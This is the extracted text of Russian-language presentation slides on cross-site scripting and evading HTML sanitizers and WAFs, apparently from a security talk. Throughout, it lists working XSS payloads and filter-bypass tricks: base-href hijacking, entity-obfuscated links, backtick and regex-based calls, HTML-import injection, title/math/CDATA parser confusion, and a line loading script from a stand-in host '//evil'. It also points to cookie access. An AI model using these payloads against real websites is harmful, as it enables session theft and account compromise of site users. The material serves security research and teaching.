5. Переопределение базового адреса текущего документа
<base href=“//mysite”>
Все относительные ссылки после вызова base будут
вызываться из указанного источника.
6. • Что попадает в атрибуты можно преобразовать в другое
представление символов – HTML сущности (мнемоники)
13. И как я уже говорил, во всех атрибутах
<a
href="//\/@g⁠o​o&z
wnj;g‍l­e
.	com">clickme</a>
Это ссылка на google.com
14. В протоколе data не обязательно указывать тип контента
<script src=data:,alert()>
15. Для выполнения функции не обязательно использовать скобки!
… И точку
… И знак равно
… И буквы вообще
17. • Его можно использовать для вызова функций
<script>alert`1`</script>
• Его можно использовать для передачи строки
document[`cookie`]
• Им можно «вырезать» неугодные нам части при двух уязвимых
параметрах, или если наши данные вставляются 2 раза.
Бэктик – твой лучший друг
19. Все что между /слэшами/ - регулярное выражение
alert(/1/)
Добавление к регулярному выражению .source – возвращает
оригинальную строку
eval(/alert()/.source)
20. Обращения в контексте текущего домена не будет заблокировано
хромом
Например если попытаться вызвать <script src=/test.js>
Импорт на импорт
21. Если в пути у сайта есть XSS, как часто бывает:
"Страницы /<script>alert()</script>/index.html не существует!”
Ты спокойно можешь импортировать xss в текущую страницу
<link rel=import href="/<script>alert()</script>/index.html">
Импорт на импорт
23. Импортом можно вызывать ранее недоступные нам функции
<link rel=“import” href=“/page.html”>
(страница, где подключается jquery)
=>
<svg onload=$.GetScript(‘//evil’)>
24. Загруженный файл (например, изображение) может быть
интерпретирован как js*
Но еще круче, любой загруженный файл может быть
интерпретирован как html
?id=“><link rel=import href=“/static/userfile/myphoto.jpg”>
25. Внутри строк js тоже много фич, например перевод символов в
другие представления (x22, u0022), неявные вызовы функций
26. • http://utf-8.jp/public/jjencode.html
Вызов функции с помощью кучи спецсимволов))
• https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html
Вызов функции с помощью символов [+|>]
• http://www.jsfuck.com/
Вызов функции с помощью символов ()+[]!
Ну и прочая наркомания
29. Где можно встретить HTML фильтры?
• WYSIWYG редакторы
• WAFы
• WEB почта
• И ещё где-нибудь в интернете
30. Какие бывают фильтры?
• Чёрный список
<randomtag onevent="test">randomtag</randomtag>
<randomtag>randomtag text</randomtag> Randomtag text
HTML code
• Белый список
<randomtag onevent="test">randomtag text</randomtag>
31. Фаззинг HTML
• Фильтр по чёрному списку
- Фаззим атрибуты событий если пропустило onevent
- Фаззим XSS вектора без событий
- Фаззим HTML теги
- Фаззим HTML теги и особенности их фильтрации
• Фильтр по белому списку
- Фаззим XSS вектора без событий
- Фаззим HTML теги и особенности их фильтрации
43. Особенности фильтрации.
• Не фильтруется содержимое одного из волшебных тегов.
<title><test test=“<test>”></title>
44. Особенности фильтрации.
• Не фильтруется содержимое одного из волшебных тегов.
• XSS вектор:
<title><test test=“<test>”></title>
<title><img alt=“</title><svg/onload=alert(1)>”></title>
45. Особенности фильтрации.
• Не фильтруется содержимое одного из волшебных тегов, но
значение атрибутов энкодится в сущности.
<title><test test=“<test>”></title>
46. Особенности фильтрации.
• Не фильтруется содержимое одного из волшебных тегов, но
значение атрибутов энкодится в сущности.
- Фаззим другие атрибуты
<title><test test=“<test>”></title>
47. Особенности фильтрации.
• Не фильтруется содержимое одного из волшебных тегов, но
значение атрибутов энкодится в сущности.
- Фаззим другие атрибуты
- Используем теги math/svg/title
<title><test test=“<test>”></title>
<math>
<title>
<i>
<script>alert(1)</script>
</i>
</title>
</math>
51. Особенности фильтрации.
• Парсер CSS
- Фаззинг свойств CSS
- Применяем теги math/svg/title
<title><test test=“<test>"></title>
<style><!-- error --></style>
<style>
body {
%color%:"<test test=test>";
}
</style>
52. Особенности фильтрации.
• Волшебные теги вернулись отфильтрованными, но содержимое
коментариев нет.
<title><test test=“<test>”></title>
<!--<test test="<test>">test</test>-->
<![CDATA[<test test="<test>">test</test>]]>
<?<test test="<test>">test<!</test>
55. Особенности фильтрации.
• Секция CDATA в HTML
• XSS вектор:
<![CDATA[<script>alert(1)</script>]]>
<![CDATA[><script>alert(1)</script>]]>
56. Особенности фильтрации.
• Секция CDATA в HTML
• XSS вектор:
• Загадочные комментарии и трюк с волшебными тегами
<![CDATA[<script>alert(1)</script>]]>
<title><?<img alt=“<?</title><?<iframe src=javascript:alert(1)>”></title>
<![CDATA[><script>alert(1)</script>]]>